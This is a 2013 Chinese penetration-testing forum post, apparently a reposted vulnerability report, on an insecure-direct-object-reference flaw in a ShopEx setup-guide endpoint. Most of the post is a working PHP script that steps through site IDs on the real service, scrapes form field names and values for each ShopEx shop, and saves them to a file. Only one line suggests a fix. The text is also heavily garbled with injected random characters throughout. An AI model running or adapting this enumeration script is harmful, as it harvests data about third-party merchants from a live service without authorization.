中国网络渗透测试联盟
标题:
ShopEx某接口缺陷可遍历所有用户网站
[打印本页]
作者:
admin
时间:
2013-9-21 15:59
标题:
ShopEx某接口缺陷可遍历所有用户网站
简要描述:
% ?- P: p2 Q" s: R
ShopEx某接口缺陷,可遍历所有网站
! m6 t; Z* U& h: x2 I9 Q5 C6 X% X' i
详细说明:
E& a. q+ _6 V1 s8 L3 @; [: ^
问题出现在shopex 网店使用向导页面
; b3 Z: ^. w& Y+ a3 u9 f$ X
" b" h3 N, t6 X0 x5 e
" c8 Y( D$ F+ R5 N
; Q4 b, v$ w4 j6 y4 o. w
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
4 p$ F/ w' V! P' h, |/ i; Y
. I# [1 ^+ R1 u9 V& D! K0 K
5 k& r" H8 l3 C# N
, O- M$ U9 z+ }, g N/ g5 }
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
. Y4 V2 g) m* y
p$ ?% Z6 Y# y9 G! j
& Y& ?) B" c8 f% y9 L: R* R
7 t" g" Q/ j6 @, s
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
' N; P; X3 h6 Q, k- e5 U, F/ J7 L [
8 }+ f: w1 f/ R: `6 y
# V8 f) e! i, ~
. A$ o) K2 b/ ^3 P% |/ v
<?php
. j( D) T1 v2 G5 c
/ _- j6 S, S- y
for ($i=1; $i < 10000; $i++) { //遍历
9 `# D: C* F1 e" v5 S% g
/ \' S8 p. \0 |, R" z. T
ShowshopExD($i);
1 a( c) d' V9 n0 {% n; q: z& _$ Y
9 T7 Q. d$ b$ n" i% y
}
/ a' A+ B( C. m6 l7 j! N! V d
# p# v. O- t" u
function ShowshopExD($cid) {
* x' l, P6 ]( H# R0 b
. u& u1 f! y3 A; k+ H a* G( Y
$url='http://guide.ecos.shopex.cn/step2.php';
/ t3 r) p# U! X! p4 m2 W
# K# P0 W! F) I( `* P" @# s
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
; @5 H+ G# O. g8 m
5 ?' v$ w2 l, z% d- I
$url = $url.'?refer='.$refer;
) {) N: Q' }% O
, v- F, u$ B; o
$ch = curl_init($url);
) E4 g- `4 m' L; ~0 E- y
0 q; G0 ^: F: g& f
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
; [) Y3 @( J$ Y/ b& L) e# ~! N# K
5 z: B. p) T, G& ^" |
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
E; {- j, M, @2 y$ O4 _" n
6 E- Q8 N- H. Q! `7 i
$result = curl_exec($ch);
0 B, Q; A% ]$ g( V3 h2 k$ s' ?
5 u; i4 X0 H; Q6 i* U% y6 o
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
+ r1 D( f/ ]) Q3 D) j+ W, T* N$ T5 z
, k4 O6 G( Q" T& ]
if(strpos($result,$refer))
. V* ^0 H8 Y% z" g2 Y( U
' b+ u. O7 {" }; j) D; F7 ~9 B
{
( p6 h8 O. s7 @
# i0 k5 ^: ?4 Q3 V
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
' E% Q. p6 X0 f. G' f* u1 t
' c- A+ \7 Z3 G6 {; L9 `1 m
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
/ a1 R o4 a. W, O2 b% ^, t$ f
# p, Q7 @/ M* ~; p( ~
foreach ($value[1] as $key) {
5 R; [, }& H2 R% Z
. j, \6 m; `1 l" t
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
1 ~1 Z' j- l$ e8 ]- r( u
! a7 Z" R) ^4 l' H: n
echo $res[1][0].':'.$res[3][0]."\r\n";
' i* v% b6 r. `! p' ]
1 L2 i1 N; @* ~3 C8 N) c
$col =$res[1][0].':'.$res[3][0]."\r\n";
; g6 v# J c' [$ i7 y1 R! c
1 P' B' g* p& W& D2 e- G8 Y+ \6 r
fwrite($fp, $col, strlen($col));
( T% X6 G* i: o- j0 w3 }( D
: d9 H% A, {+ Q
}
2 j6 U9 q* B# L8 v2 F
* \+ I/ `- t D0 }9 }
echo '--------------------------------'."\r\n";
! ^3 D/ L, {: `5 `" K- H' k' ?( q
' h* f% W3 j" e$ v# B( d" [& Y( X
fclose($fp);
1 @6 r7 v" u' C/ |- x$ b0 q/ Z U
" T& w; E/ d7 a( z. y- }
}
2 P, T: a1 N$ [& l, U& T4 T. l
( t M' ^: F. f" B
flush();
6 Y* M* a7 {% F' {+ A, Y! F
6 a" Z6 f4 J- A0 ?) o8 U3 i$ C0 x
curl_close($ch);
6 ^ T: I7 V: z' P. g9 R# M$ O4 P
/ P; u" w/ v& H0 t; \. G5 z
}
6 ?% B Z9 B5 q( ~+ W, |
) O9 W! c0 f! Z
?>
* t$ B6 Y( x% n% c- a, h
漏洞证明:
& T" H0 D6 ?; Z& {! {3 r
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
$ Z/ R+ d. Z( a a" [
refer换成其他加密方式
5 O$ u6 k) M! o1 g
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2